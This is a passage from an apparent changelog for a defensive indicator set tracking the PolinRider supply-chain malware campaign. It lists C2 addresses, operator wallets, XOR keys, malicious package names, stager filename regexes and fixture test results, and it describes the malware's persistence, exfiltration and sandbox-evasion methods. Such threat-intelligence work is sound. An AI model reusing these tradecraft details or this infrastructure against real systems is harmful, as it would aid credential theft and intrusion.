dependencies with <code>pip</code>, laying down three separate persistence mechanisms, and
exfiltrating over HTTP POST with rotating user agents.</p>
<p><strong>This is a source no previous entry has used, and I had no prior basis for
trusting it.</strong> It is carried because it is corroborated twice over, from
directions it could not have arranged:</p>
<ul>
<li>its loader C2, <code>23.27.13.135</code>, is independently confirmed by SafeDep as the
<code>0xa322</code> C2 for 2026-08-22 to 2026-08-27 — a window the report could not have
known from any other published source, because SafeDep is the first to decode
the rotation; and</li>
<li>the OpenSSF record for <code>pybitjs</code>, written by Amazon Inspector and
Kamil Mańkowski, cites this report as one of its references.</li>
</ul>
<p>Its contribution is the <strong>Windows hands-on-keyboard stage</strong>, which <code>ioc/</code> had
nothing on: a <code>%TEMP%</code> stager pair and a VBS run from both a scheduled task and
a Startup entry, under a name that impersonates the .NET native-image service.
Four indicators from it are added — two filenames, one C2 address and one
file-host string — and everything else it publishes is turned away below. A
maintainer who does not want to rely on this source can drop exactly those four
lines: each sits in its own commented block naming it.</p>
<h3 id="episode-23-2026-10-02-the-fake-font-drops-the-font-extension">Episode 23, 2026-10-02: the fake font drops the font extension</h3>
<p>The only post inside this week’s window is a podcast episode, and it is not
nothing. Two weeks after the A/B-testing analysis, the hosts report that the
same payload has been given <strong>a <code>.llf</code> extension</strong>, which has nothing to do with
fonts, and that they counted <strong>over 120 versions of it live on GitHub on
2026-09-28</strong>. The repository one of them was researching was force-pushed and
overwritten between a Friday-night blog post and the Monday morning, changing
the file type — the rotation observed in real time, in the window between
publication and promotion.</p>
<p>Two things follow:</p>
<ul>
<li><strong>This is the first current-variant font indicator the set can carry.</strong> The
2026-09-28 entry rejected <code>fa-solid-900.woff2</code> because that is a genuine Font
Awesome filename and <code>filenames.txt</code> is <code>INFECTED</code> tier with no weaker path
tier. <code>.llf</code> does not have that problem: Font Awesome ships <code>.woff2</code>, <code>.woff</code>,
<code>.ttf</code>, <code>.eot</code> and <code>.svg</code>, and no legitimate project names an <code>.llf</code> after a
font weight. <code>filenames.txt</code> is already extended regex, which has been true all
along and which no previous entry has used for this vector, so the weight can
be a character class instead of a guess.</li>
<li><strong>The source is a spoken transcript, and the filename is stated across two
sentences</strong> — “they’re keeping the front of the file name basically the same,
so <code>fa-solid-</code> fill in a number”, then “the one that I saw was 300, but instead
of <code>.woff2</code> it’s a <code>.llf</code>”. No single literal is printed anywhere on the page.
That is a reason to carry the pattern rather than a specific name, not a reason
to carry nothing: every element of the regex is stated explicitly, and the
number is the part the source says rotates.</li>
</ul>
<p>The episode also mentions, as history rather than as a current finding, that
earlier sub-variants used <strong>fake <code>.dic</code> dictionary files</strong> and that those older
forms are “coming back”. Nothing is added for that; see below.</p>
<h2 id="added">Added</h2>
<p>Eighty-three indicators, from four sources read in full.</p>
<h3 id="iocstrongtxt--11"><code>ioc/strong.txt</code> — 11</h3>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Why there</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>33ff3edaf55a8e03dcbc7cb40d498a49</code></td>
<td>The sender check the stage-2 loader embeds verbatim (<code>var r = '33ff…'</code>). Carried as this 32-hex truncation on purpose: it also matches the full operator address <code>0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891</code> <strong>and</strong> the <code>X:</code> request header, neither of which the full address would match</td>
<td><a href="https://safedep.io/polinrider-ethereum-c2-github-repositories/">SafeDep</a></td>
</tr>
<tr>
<td><code>_$_fed0</code></td>
<td>String-table name of this build — the same shape as <code>_$_1e42</code>, in <code>strong.txt</code> since the first release</td>
<td>as above</td>
</tr>
<tr>
<td><code>global.o='5-</code></td>
<td>The campaign-marker assignment with the counter dropped. Published markers: <code>5-841-du</code>, <code>5-1169-du</code>, <code>5-1460-du</code>. Nothing legitimate assigns a <code>"5-"</code> string to <code>global.o</code></td>
<td>as above</td>
</tr>
<tr>
<td>`YU7m{rE/&gt;</td>
<td>==b&gt;#~`</td>
<td>XOR key for the <code>/0/body</code> response. Sixteen high-entropy characters, no whitespace, and it appears twice in the page — in the decoded <code>/0/boot</code> listing and in the indicator CSV — identically</td>
</tr>
<tr>
<td><code>0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a</code></td>
<td>The second operator wallet in the checksummed case the loader actually embeds. The lowercase entry added 2026-09-14 cannot match it under <code>grep -F</code></td>
<td>as above</td>
</tr>
<tr>
<td><code>TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF</code></td>
<td>Tron primary dead drop of the paired <code>1-NN-1</code> loader. SafeDep reports finding it in no earlier public report</td>
<td>as above</td>
</tr>
<tr>
<td><code>TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH</code></td>
<td>Tron fallback dead drop of the same pair</td>
<td>as above</td>
</tr>
<tr>
<td><code>0x3d2075f97b7b1e3234bd653779d21c605d7d8c6ec9c98d983880be5c7f4f9471</code></td>
<td>Aptos account of the same pair. 64 hex characters</td>
<td>as above</td>
</tr>
<tr>
<td><code>0x9d202c824402ca89e9aaccd2390b6f8b332ae743caa1469c695feb2781d56519</code></td>
<td>Aptos account of the same pair</td>
<td>as above</td>
</tr>
<tr>
<td><code>q4FZkxX{!h,Sr3=@</code></td>
<td>The complete first XOR key of the <code>0xa322</code> branch. Corrects the boundary the 2026-09-28 entry could not establish</td>
<td>as above</td>
</tr>
<tr>
<td><code>test26330331/test</code></td>
<td>Attacker-owned GitLab project serving the second-stage loader. Same treatment as the two GitHub <code>system-releases</code> accounts already here</td>
<td><a href="https://blog.deception.pro/blog/hok-dprk-polinrider-sep-2026">Deception.Pro</a></td>
</tr>
</tbody>
</table>
<h3 id="iocweaktxt--5"><code>ioc/weak.txt</code> — 5</h3>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Why there</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>global.i="A</code></td>
<td>Every marker entry in <code>strong.txt</code> is pinned to one number, and the markers published since include <code>A9-0337-4</code>, <code>A10-*23720</code> and <code>A8-3465</code>, which none of them match. This is SafeDep’s own recommended hunt expression. Review tier because it would also match a legitimate assignment of any string starting <code>A</code></td>
<td><a href="https://safedep.io/polinrider-ethereum-c2-github-repositories/">SafeDep</a></td>
</tr>
<tr>
<td><code>global.i = 'A</code></td>
<td>The same marker in the spaced single-quote style, which is the form the <code>tailwindadmin/admin</code> sample uses (<code>global.i = 'A10-*23720';</code>)</td>
<td>as above</td>
</tr>
<tr>
<td><code>global.o='</code></td>
<td>The <code>0x33ff</code> branch marker without the counter, which catches <code>global.o='1-35'</code> where the <code>strong.txt</code> entry does not. Review tier: a bare global assignment</td>
<td>as above</td>
</tr>
<tr>
<td><code>x-payload-b64</code></td>
<td>The response header <strong>lower-cased</strong>. HTTP header names are case-insensitive, <code>grep -F</code> is not, and the OpenSSF record for <code>tailwind-anim</code> prints the literal in lower case where OpenSourceMalware printed it capitalised</td>
<td><a href="https://github.com/ossf/malicious-packages">OpenSSF MAL-2026-11500</a> (Amazon Inspector)</td>
</tr>
<tr>
<td><code>files.catbox.moe</code></td>
<td>Payload staging on a public file host. Ordinary service with ordinary uses: alert, do not block — the same tier as the Ethereum RPC endpoints</td>
<td><a href="https://blog.deception.pro/blog/hok-dprk-polinrider-sep-2026">Deception.Pro</a></td>
</tr>
</tbody>
</table>
<h3 id="iocnetworktxt--8"><code>ioc/network.txt</code> — 8</h3>
<p>All eight recovered by decoding heartbeat recipients off the Ethereum ledger, or
from the honeypot capture. <code>198.105.127.210</code>, <code>166.88.134.62</code>, <code>166.88.73.46</code>
and <code>193.247.144.38</code> were already present and are independently confirmed by
this source.</p>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Branch and window</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>45.137.198.133</code></td>
<td><code>0x33ff</code> C2 #2 from 2026-09-28, port 80. AS212477</td>
<td><a href="https://safedep.io/polinrider-ethereum-c2-github-repositories/">SafeDep</a></td>
</tr>
<tr>
<td><code>181.214.149.147</code></td>
<td><code>0x33ff</code>, 2026-09-03 to 2026-09-07. AS397423</td>
<td>as above</td>
</tr>
<tr>
<td><code>181.214.149.148</code></td>
<td><code>0x33ff</code>, 2026-09-07 to 2026-09-25. AS397423</td>
<td>as above</td>
</tr>
<tr>
<td><code>23.27.20.187</code></td>
<td><code>0x33ff</code>, 2026-06-23 to 2026-09-03. AS149440</td>
<td>as above</td>
</tr>
<tr>
<td><code>23.27.13.135</code></td>
<td><code>0xa322</code>, 2026-08-22 to 2026-08-27. AS149440</td>
<td>as above, and independently in the Deception.Pro capture</td>
</tr>
<tr>
<td><code>166.88.134.75</code></td>
<td><code>0xa322</code>, 2026-09-17 to 2026-09-28. AS149440</td>
<td>as above</td>
</tr>
<tr>
<td><code>91.218.183.174</code></td>
<td><code>0xa322</code>, from 2026-09-28. AS149440</td>
<td>as above</td>
</tr>
<tr>
<td><code>150.251.113.223</code></td>
<td>Stealer exfiltration, port 8443</td>
<td><a href="https://blog.deception.pro/blog/hok-dprk-polinrider-sep-2026">Deception.Pro</a></td>
</tr>
</tbody>
</table>
<p>The more durable fact here is <strong>AS149440 (Evoxt)</strong>: eight of the eleven servers
across both wallets sit on it, and the addresses rotate roughly weekly. That is
an autonomous-system block, which <code>network.txt</code> cannot express — noted under
techniques, not implemented.</p>
<h3 id="iocfilenamestxt--3"><code>ioc/filenames.txt</code> — 3</h3>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Why there</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>(^|/)SvcHostUpdate\.(py|js)$</code></td>
<td>The <code>%TEMP%</code> stager pair of the hands-on-keyboard stage. Nothing legitimate ships a <code>SvcHostUpdate.py</code></td>
<td><a href="https://blog.deception.pro/blog/hok-dprk-polinrider-sep-2026">Deception.Pro</a></td>
</tr>
<tr>
<td><code>(^|/)MicrosoftCLROptimization\.vbs$</code></td>
<td>The logon payload, run from both a scheduled task and a Startup entry of the same name. It impersonates the .NET native-image service, which is actually called <code>.NET Framework NGEN v4.0.30319</code></td>
<td>as above</td>
</tr>
<tr>
<td><code>(^|/)fa-solid-[0-9]{3}\.llf$</code></td>
<td>The fake-font payload with a non-font extension. <code>fa-solid-900.woff2</code> was rejected last week because it is a genuine Font Awesome filename; <code>.llf</code> is not one, so this is safe at <code>INFECTED</code> tier where the <code>.woff2</code> forms are not. See below</td>
<td><a href="https://opensourcemalware.com/blog/the-opensourcemalwareshow-episode23">OSM, The OpenSourceMalware Show #23</a></td>
</tr>
</tbody>
</table>
<h3 id="iocimplant-pathstxt--1"><code>ioc/implant-paths.txt</code> — 1</h3>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Why there</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>%LOCALAPPDATA%\Temp\tmp7A863DD1.tmp</code></td>
<td>The Python stealer’s lock file on Windows, beside the <code>/tmp/tmp7A863DD1.tmp</code> already carried for Linux and macOS. Same literal filename, so the same confidence</td>
<td><a href="https://safedep.io/polinrider-ethereum-c2-github-repositories/">SafeDep</a></td>
</tr>
</tbody>
</table>
<h3 id="iocbad-packagestxt--55"><code>ioc/bad-packages.txt</code> — 55</h3>
<p>Every name from the 71 matching OpenSSF records that passed both filters above.
Source for all of them:
<a href="https://github.com/ossf/malicious-packages">OpenSSF <code>malicious-packages</code></a> at
commit <code>ae1ef409</code>, read 2026-10-05, with the per-name record ID below; and
<a href="https://safedep.io/polinrider-ethereum-c2-github-repositories/">SafeDep</a> for
the finding that this database holds them.</p>
<p>npm, 53 names:</p>
<table>
<thead>
<tr>
<th>Record</th>
<th>Name</th>
<th>Record</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>MAL-2026-12318</td>
<td><code>@hoteldev/common</code></td>
<td>MAL-2026-12217</td>
<td><code>tailwind-animate-plugin</code></td>
</tr>
<tr>
<td>MAL-2026-12323</td>
<td><code>@nasddatax/common</code></td>
<td>MAL-2026-12219</td>
<td><code>tailwind-animationgroup</code></td>
</tr>
<tr>
<td>MAL-2026-12324</td>
<td><code>@nasdtickets/common</code></td>
<td>MAL-2026-12220</td>
<td><code>tailwind-animationpack</code></td>
</tr>
<tr>
<td>MAL-2026-12328</td>
<td><code>@rentwise/common</code></td>
<td>MAL-2026-12027</td>
<td><code>tailwind-anime</code></td>
</tr>
<tr>
<td>MAL-2026-13388</td>
<td><code>@simplipayng/checkout</code></td>
<td>MAL-2026-15925</td>
<td><code>tailwind-contact-forms</code></td>
</tr>
<tr>
<td>MAL-2026-12330</td>
<td><code>@vboxdev/common</code></td>
<td>MAL-2026-12221</td>
<td><code>tailwind-custom-forms</code></td>
</tr>
<tr>
<td>MAL-2026-14285</td>
<td><code>@wizloft/harness</code></td>
<td>MAL-2026-14195</td>
<td><code>tailwind-custom-templates</code></td>
</tr>
<tr>
<td>MAL-2026-14286</td>
<td><code>@wizloft/harness-context</code></td>
<td>MAL-2026-16405</td>
<td><code>tailwind-form-styles</code></td>
</tr>
<tr>
<td>MAL-2026-14287</td>
<td><code>@wizloft/harness-kernel</code></td>
<td>MAL-2026-13923</td>
<td><code>tailwind-form-templates</code></td>
</tr>
<tr>
<td>MAL-2026-14288</td>
<td><code>@wizloft/harness-plugin-repository-files</code></td>
<td>MAL-2026-17310</td>
<td><code>tailwind-forms-kit</code></td>
</tr>
<tr>
<td>MAL-2026-14289</td>
<td><code>@wizloft/harness-validation</code></td>
<td>MAL-2026-16195</td>
<td><code>tailwind-forms-styles</code></td>
</tr>
<tr>
<td>MAL-2026-12332</td>
<td><code>@zahlen/checkout-angular</code></td>
<td>MAL-2026-12116</td>
<td><code>tailwind-hide-scrollbar</code></td>
</tr>
<tr>
<td>MAL-2026-12333</td>
<td><code>@zahlen/checkout-react</code></td>
<td>MAL-2026-15634</td>
<td><code>tailwind-minanimated</code></td>
</tr>
<tr>
<td>MAL-2026-14290</td>
<td><code>anhn-cli</code></td>
<td>MAL-2026-15635</td>
<td><code>tailwind-modernanimation</code></td>
</tr>
<tr>
<td>MAL-2026-12177</td>
<td><code>devpack-conf</code></td>
<td>MAL-2026-12222</td>
<td><code>tailwind-opentype</code></td>
</tr>
<tr>
<td>MAL-2026-13921</td>
<td><code>envpack-conf</code></td>
<td>MAL-2026-15904</td>
<td><code>tailwind-scrollbar-styles</code></td>
</tr>
<tr>
<td>MAL-2026-13705</td>
<td><code>iconova-react</code></td>
<td>MAL-2026-14567</td>
<td><code>tailwindcss-3d-animate</code></td>
</tr>
<tr>
<td>MAL-2026-12417</td>
<td><code>post-css-transfer</code></td>
<td>MAL-2026-15906</td>
<td><code>tailwindcss-animate-styles</code></td>
</tr>
<tr>
<td>MAL-2026-13696</td>
<td><code>postcss-initial-provider</code></td>
<td>MAL-2026-16251</td>
<td><code>tailwindcss-contact-form</code></td>
</tr>
<tr>
<td>MAL-2026-13957</td>
<td><code>postcss-initialize-plugin</code></td>
<td>MAL-2026-16124</td>
<td><code>tailwindcss-contact-forms</code></td>
</tr>
<tr>
<td>MAL-2026-13518</td>
<td><code>postcss-theme-provider</code></td>
<td>MAL-2026-15826</td>
<td><code>tailwindcss-fluid-styles</code></td>
</tr>
<tr>
<td>MAL-2026-12189</td>
<td><code>react-scroll-disable</code></td>
<td>MAL-2026-16262</td>
<td><code>tailwindcss-form-ui</code></td>
</tr>
<tr>
<td>MAL-2026-12192</td>
<td><code>scrollbar-hide-plugin</code></td>
<td>MAL-2026-16263</td>
<td><code>tailwindcss-form-utils</code></td>
</tr>
<tr>
<td>MAL-2026-12437</td>
<td><code>simplipayng</code></td>
<td>MAL-2026-15636</td>
<td><code>tailwindcss-forms-style</code></td>
</tr>
<tr>
<td>MAL-2026-12054</td>
<td><code>uibabai</code></td>
<td>MAL-2026-17524</td>
<td><code>tailwindcss-forms-styles</code></td>
</tr>
<tr>
<td>MAL-2026-16295</td>
<td><code>tailwindcss-forms-ui</code></td>
<td>MAL-2026-13604</td>
<td><code>tailwindcss-motion-advanced</code></td>
</tr>
<tr>
<td>MAL-2026-12224</td>
<td><code>tailwindcss-scrollbar-hide</code></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<p>PyPI, 2 names: <code>pybitjs</code> (MAL-2026-14545) and <code>pyservercheck</code> (MAL-2026-15603).
Both are gone from PyPI, and neither is a substring of anything in the live
<code>/simple/</code> index, which was downloaded in full and searched to confirm it.</p>
<p><code>MAL-2026-17524</code> for <code>tailwindcss-forms-styles</code> was published <strong>2026-10-04</strong> —
yesterday. This set is still growing weekly.</p>
<h3 id="two-existing-comments-corrected">Two existing comments corrected</h3>
<p>Not new indicators, but the existing hijacked-version note in
<code>bad-packages.txt</code> understated two ranges, and the OpenSSF records list every
affected version:</p>
<ul>
<li><code>fetch-page-assets</code> — was “1.2.9 through 1.2.14”, is <strong>1.2.9 through 1.2.16</strong>
(MAL-2026-6358)</li>
<li><code>html-to-gutenberg</code> — was “4.2.11”, is <strong>4.2.11 through 4.2.22</strong>
(MAL-2026-6359)</li>
</ul>
<p>Both have since been cleaned up on npm: on 2026-10-05 the dist-tags are
<code>fetch-page-assets@1.2.8</code> and <code>html-to-gutenberg@4.2.10</code>, behind the first
malicious release in each case. The note now says so.</p>
<h3 id="verified-against-fixtures">Verified against fixtures</h3>
<p>Built outside the repository working tree and scanned with
<code>ci/scan-workspace.sh</code>:</p>
<ul>
<li>one file carrying all eleven new <code>strong.txt</code> strings → <strong><code>INFECTED</code>, exit 2</strong></li>
<li>one file carrying only the five new <code>weak.txt</code> strings, in their real sample
forms (<code>global.i="A9-0337-4"</code>, <code>global.i = 'A10-*23720'</code>, <code>global.o='1-35'</code>,
the lower-cased header, a <code>files.catbox.moe</code> URL) → <strong><code>review</code> only, exit 0</strong>,
and <strong>exit 1</strong> under <code>--fail-on review</code></li>
<li>a directory holding only <code>SvcHostUpdate.py</code> and
<code>MicrosoftCLROptimization.vbs</code> → <strong><code>INFECTED</code>, exit 2</strong>, on the filenames alone</li>
<li>a directory holding <code>fa-solid-300.llf</code> and <code>fa-solid-900.llf</code> → <strong><code>INFECTED</code>,
exit 2</strong>, both of them, on the filename regex alone</li>
<li>the <code>.llf</code> regex’s near misses, with real WOFF2 magic bytes so the existing
font-masquerade check stays quiet: <code>fa-solid-900.woff2</code>, <code>fa-solid-300.woff2</code>,
<code>fa-regular-400.woff2</code>, <code>levels.llf</code>, <code>fa-solid-brands.llf</code> and
<code>fa-solid-30.llf</code> (two digits) → <strong>zero findings, exit 0</strong>. The same directory
with the <code>.woff2</code> files holding non-font content is correctly <code>INFECTED</code> on the
pre-existing magic-bytes check, which is how it was confirmed that the new
regex and not that check is what fires on the <code>.llf</code> names</li>
<li>a <code>package.json</code> naming six of the new packages across both ecosystems →
<strong><code>INFECTED</code>, exit 2</strong></li>
<li><strong>each of the sixteen new content indicators in a file of its own</strong> → all
sixteen fire, eleven <code>INFECTED</code> and five <code>review</code>. The deduplicating output of
a combined scan hides this, which is why it is done separately</li>
<li><strong>all 55 new package names checked individually</strong> against the stripped
indicator list the scanner builds → all 55 match as fixed strings, none missed</li>
<li>near-miss negatives → <strong>zero findings, exit 0</strong>: a <code>package.json</code> depending on
<code>tailwindcss-animate</code>, <code>tailwind-animate</code>, <code>tailwind-animations</code>,
<code>tailwind-container-queries-2d</code>, <code>@webdev-config/eslint</code>, <code>tailwindcss-forms</code>,
<code>tailwind-forms</code>, <code>pybit</code>, <code>sass-formatter</code>, <code>typeorm-encrypted</code> and
<code>clsx-tailwind-merge</code>; and a file carrying <code>global.item = "Abc"</code>,
<code>global.optimize='5-841'</code>, <code>X-Payload-B65</code>, <code>_$_feg0</code>, the <code>0xa322</code> address
with its last character changed, the new XOR key one character short,
<code>test26330331</code> without the project, and references to <code>/tmp/.pip</code> and
<code>~/.node_modules</code>; plus files named <code>clr_init.vbs</code> and <code>SvcHostUpdater.py</code></li>
<li><code>./polinrider.sh --path</code> on the strong fixture → <strong>exit 2</strong>; on the negative
fixture → <strong>exit 0</strong></li>
<li><code>machine-cleanup/check-linux.sh</code> against a clean directory → output <strong>byte for
byte identical</strong> to the same run from a worktree of unmodified <code>origin/main</code>,
apart from the timestamp and report filename, so nothing in the new
<code>network.txt</code> or <code>implant-paths.txt</code> lines changes its behaviour</li>
<li>no duplicate line anywhere in the set, and no line present in both
<code>strong.txt</code>/<code>bad-packages.txt</code> and <code>weak.txt</code></li>
</ul>
<h2 id="considered-and-not-added">Considered and not added</h2>
<p><strong>Five names from the same 71 OpenSSF records.</strong> Each is a strict substring of a
live package, verified by fetching the real one from the registry rather than
assuming:</p>
<table>
<thead>
<tr>
<th>Rejected</th>
<th>Is inside</th>
<th>The real package</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>tailwind-anim</code></td>
<td><code>tailwind-animate</code>, <code>tailwind-animations</code></td>
<td><code>tailwind-animate@0.2.10</code>, 19 versions, real description, live</td>
</tr>
<tr>
<td><code>tailwindcss-anim</code></td>
<td><code>tailwindcss-animate</code>, <code>tailwindcss-animated</code>, <code>tailwindcss-animatecss</code>, <code>tailwindcss-animation-delay</code>, <code>@nobie-org/tailwindcss-animate</code>, <code>@anuragroy/tailwindcss-animate</code></td>
<td><code>tailwindcss-animate@1.0.7</code> — the widely used one</td>
</tr>
<tr>
<td><code>tailwind-container-queries</code></td>
<td><code>tailwind-container-queries-2d</code></td>
<td><code>@1.0.5</code>, 6 versions, live</td>
</tr>
<tr>
<td><code>webdev-conf</code></td>
<td><code>@webdev-config/eslint</code></td>
<td><code>@0.1.3</code>, a real scoped project</td>
</tr>
<tr>
<td><code>tailwindcss-form</code></td>
<td><code>tailwindcss-forms</code></td>
<td><code>tailwindcss-forms</code> is itself unpublished (<code>latest</code> absent), so the hazard is weaker here — but the name is one character from a plausible real package, and it is a strict prefix of three malicious names already carried, so it buys nothing</td>
</tr>
</tbody>
</table>
<p>This is the same trap as <code>sass-format</code>, <code>typeorm-encrypt</code> and <code>clsx-tailwind</code>,
recorded on 2026-09-14. Matching any of these eight needs a whole-name check
against a parsed manifest.</p>
<p><strong>The six heartbeat recipient addresses, and the four funder wallets.</strong>
<code>0xc6697fd201BB2d89C685005000FF68cE430F572A</code> and its five predecessors are the
transaction recipients the C2 addresses are decoded <em>from</em>; <code>0xd31A213E…</code>,
<code>0x76D6dDCB…</code>, <code>0x4E5B2e1d…</code> and <code>0x96C8e62C…</code> funded the two operator wallets.
None of the ten appears in a file on disk — they exist on the chain — and
<code>strong.txt</code> matches file contents, so carrying them would produce entries that
can never match. This is the same reasoning <code>strong.txt</code> already records for the
NullReceiver recipient (“disposable by design and deliberately not listed”), and
<code>0x4E5B2e1d…</code> is additionally described as a high-volume wallet, which is a
false-positive risk on top. The decoded <strong>IP addresses</strong> are what reaches
<code>network.txt</code>, and they are all there.</p>
<p><strong><code>68656c6c6f6970626f742121</code>.</strong> The hex of <code>helloipbot!!</code>, the fixed 12-byte tail
of every <code>0xa322</code> heartbeat recipient. A chain artifact, like the ten above: it
is a property of the address, not a string in the loader. Carried nowhere.
<code>strong.txt</code> already notes the plaintext joke in its NullReceiver comment.</p>
<p><strong><code>X: 33ff3edaf55a8e03dcbc7cb40d498a49:5-841-du</code>.</strong> A request header assembled at
run time. Its distinctive half is the 32-hex sender check, which is carried on
its own and matches wherever the header is written literally.</p>
<p><strong><code>Sec-V</code>.</strong> Third rejection, same reason: five characters.</p>
<p><strong>The five published SHA-256 hashes</strong> — <code>02b7e072…</code>, <code>84a3f1bd…</code>, <code>5cbcb8e1…</code>,
<code>f6d9f2fb…</code> and <code>3be09f8c…</code> — <strong>and the five from the Deception.Pro report.</strong>
This is the fourth consecutive week real published hashes have been turned away,
and the count of examples behind the gap goes from five to fifteen. The reason is
unchanged and is a property of the code, not of the hashes: both hash sweeps in
<code>lib/local-common.sh</code> are bounded to files <strong>larger than 10 MB and smaller than
300 MB</strong>, or keyed to an <code>implant-paths.txt</code> path, and <code>ci/scan-workspace.sh</code>
does not read <code>hashes.txt</code> at all. Every hash here is a C2 response, a stager or
a wheel — kilobytes. Adding them would make the set look like it covers the
Ethereum branch when nothing would ever compare them.</p>
<p><strong><code>~/.node_modules</code> and <code>/tmp/.pip</code>.</strong> The private npm prefix the stage-4 script
installs <code>axios</code> and <code>socket.io-client</code> into, and its fallback <code>pip</code> target.
<code>implant-paths.txt</code> is <code>INFECTED</code> tier with no weaker path tier, and both are
paths a developer could plausibly create — <code>~/.node_modules</code> in particular is a
documented way to configure an npm prefix. Fifth week the missing weak path tier
has blocked an addition. <code>~/.local/bin/py</code> is rejected for the same reason and
is worse: <code>py</code> is the real Python launcher’s name.</p>
<p><strong><code>clr_init.vbs</code>.</strong> Dropped beside <code>MicrosoftCLROptimization.vbs</code>. Ordinary
enough that a legitimate .NET tool could write it, and <code>filenames.txt</code> has no
review tier.</p>
<p><strong><code>files.pythonhosted.org</code> and <code>bootstrap.pypa.io</code>.</strong> The stage-4 script installs
Python and <code>pip</code> from them. These are PyPI’s own CDN and bootstrap host; carrying
either at any tier would fire on essentially every Python project.</p>
<p><strong><code>microsoft-standard-WSL2</code>.</strong> The loader checks <code>os.release()</code> for it, to decide
whether to also start <code>node.exe</code> and cross from the WSL2 guest to the Windows
host. Every WSL2 kernel release string contains it. The <em>technique</em> is new and
worth a maintainer’s attention; the string is not an indicator.</p>
<p><strong><code>global._p_t</code>, <code>_H2</code>, <code>_t_s</code>, <code>_t_u</code>, and <code>_$_xxxx=(function(</code>.</strong> The 30-second
re-entry guard and the globals SafeDep uses to tie this campaign to its earlier
<code>astro.config.mjs</code> and <code>@joyfill</code> investigations. Two problems: the first three
live in stage 2, which reaches the repository file only as an encoded blob, and
the <code>0xa322</code> loader is written with <code>\u</code> escapes, so even the plaintext ones are
not plaintext in the file — SafeDep had to convert the escapes before reading
them. The table pattern is a regex. See the techniques section; this is a
detection problem, not a missing string.</p>
<p><strong><code>/boot</code>, <code>/0/boot</code>, <code>/init</code>, <code>/0/body</code>, <code>/snv</code>, <code>/$/1</code>, <code>/u/f</code>.</strong> The request
paths of the <code>0x33ff</code> branch. Unlike <code>/0x/cls</code> and <code>/0x/ls</code>, carried last week
because that build’s string table is legible, these live in stage 2 — dictionary
compressed inside the repository file — so they do not appear in a scanned file.
And <code>/boot</code> and <code>/init</code> as fixed strings would match ordinary code.</p>
<p><strong>The sandbox-evasion host and user list</strong> — <code>buildkitsandbox</code>, <code>github-runne</code>,
<code>codespace</code>, <code>devcontainer</code>, <code>vercel-sandb</code>, <code>assemblyline</code> — <strong>and the
<code>Blocked (BOT)</code> marker.</strong> String-table entries of stage 4, which is downloaded
rather than committed, and ordinary words besides. <code>codespace</code> and
<code>devcontainer</code> would fire on a great many repositories.</p>
<p><strong><code>AS149440</code>, <code>AS397423</code>, <code>AS212477</code>.</strong> Eight of eleven servers on one
autonomous system is the most durable network fact in the SafeDep report, and
<code>network.txt</code> holds addresses. An AS-level blocklist is a different artifact;
see techniques.</p>
<p><strong>Commit <code>41ab07a849c68472779da562d1530cf19f116ccf</code>, and all the victims.</strong>
<code>oxc-project/oxc</code>, <code>tailwindadmin/admin</code>, the four Creative Tim templates, the
<code>admin-dashboards</code> organization, <code>visanduma</code> and the developer named in Socket’s
Packagist write-up. The precedent is settled and this entry does not reopen it: a
victim’s name is not an indicator of anything in someone else’s project. The one
exception is the <code>visanduma/nova-two-factor</code> line added as a <strong>comment</strong> in the
hijacked block, where it cannot match anything and tells a PHP shop something
they would want to know.</p>
<p><strong>The <code>.dic</code> fake-dictionary variant, and <code>fa-solid-NNN.woff2</code> once more.</strong>
Episode 23 says older sub-variants used fake <code>.dic</code> files and that they are
returning, but it does not pair the <code>.dic</code> extension with the <code>fa-solid-</code>
prefix, and a bare <code>\.dic$</code> is an ordinary dictionary file — <code>spellright.dict</code>
was rejected on the same grounds on 2026-09-14. The <code>.woff2</code> forms stay out for
the fourth week: <code>fa-solid-900.woff2</code> is a real Font Awesome filename, and a
regex over the weight does not help when the extension is the legitimate one.
Both are caught today only by the font-magic-bytes check in
<code>ci/scan-workspace.sh</code>, which remains the most durable detection this repository
has for this vector and which the local checks still do not do.</p>
<p><strong>The GlassWorm cluster.</strong> Search results this week repeatedly conflate GlassWorm
with PolinRider — a Medium write-up and <code>nocturnalknight.co</code> both describe
ForceMemo as a PolinRider “phase” that uses GlassWorm-stolen tokens. The primary
source says otherwise: OpenSourceMalware’s own GlassWorm post, 2026-03-16, states
“This new campaign is probably Russian in origin — not DPRK”, and tracks it
separately. Its indicators — the Solana C2 address, the <code>lzcdrtfxyqiplpd</code> marker,
<code>~/init.json</code>, the thirteen IPs, the AES key and IV — stay out. Recorded here
because the conflation is in secondary coverage that a future reviewer will hit
again.</p>
<p><strong>The GHAPPIER set, again.</strong> No new primary material. Scope decision from
2026-09-21 stands and remains the maintainer’s to revisit.</p>
<p><strong>SlowMist’s “Nova” report and Socket’s Packagist post.</strong> Both describe the same
Ethereum dead drop SafeDep decoded, which makes the mechanism three-source
corroborated — and neither is readable here (Medium 403, socket.dev 403). No
string is lifted from a search summary of either.</p>
<h2 id="new-techniques--maintainer-decisions-not-implemented">New techniques — maintainer decisions, not implemented</h2>
<p>Nothing below is implemented. The first three are the ones that would change
what this repository can detect.</p>
<ol>
<li><strong>An AS-level network tier.</strong> Eight of the eleven C2 servers across both
wallets are on AS149440 (Evoxt), and the addresses rotate roughly weekly —
<code>network.txt</code> gained seven addresses this week that were current for between
three and eighteen days each. The file’s own header already says “IP
addresses rotate: block them, do not rely on them”, and this week is the
measurement that proves it. An AS or CIDR tier would be stable where the
addresses are not. It is also the one piece of this that is useful <em>without</em>
the scanner: an egress policy can block an AS.</li>
<li><strong>The <code>\u</code>-escape problem, which defeats fixed-string matching outright.</strong> The
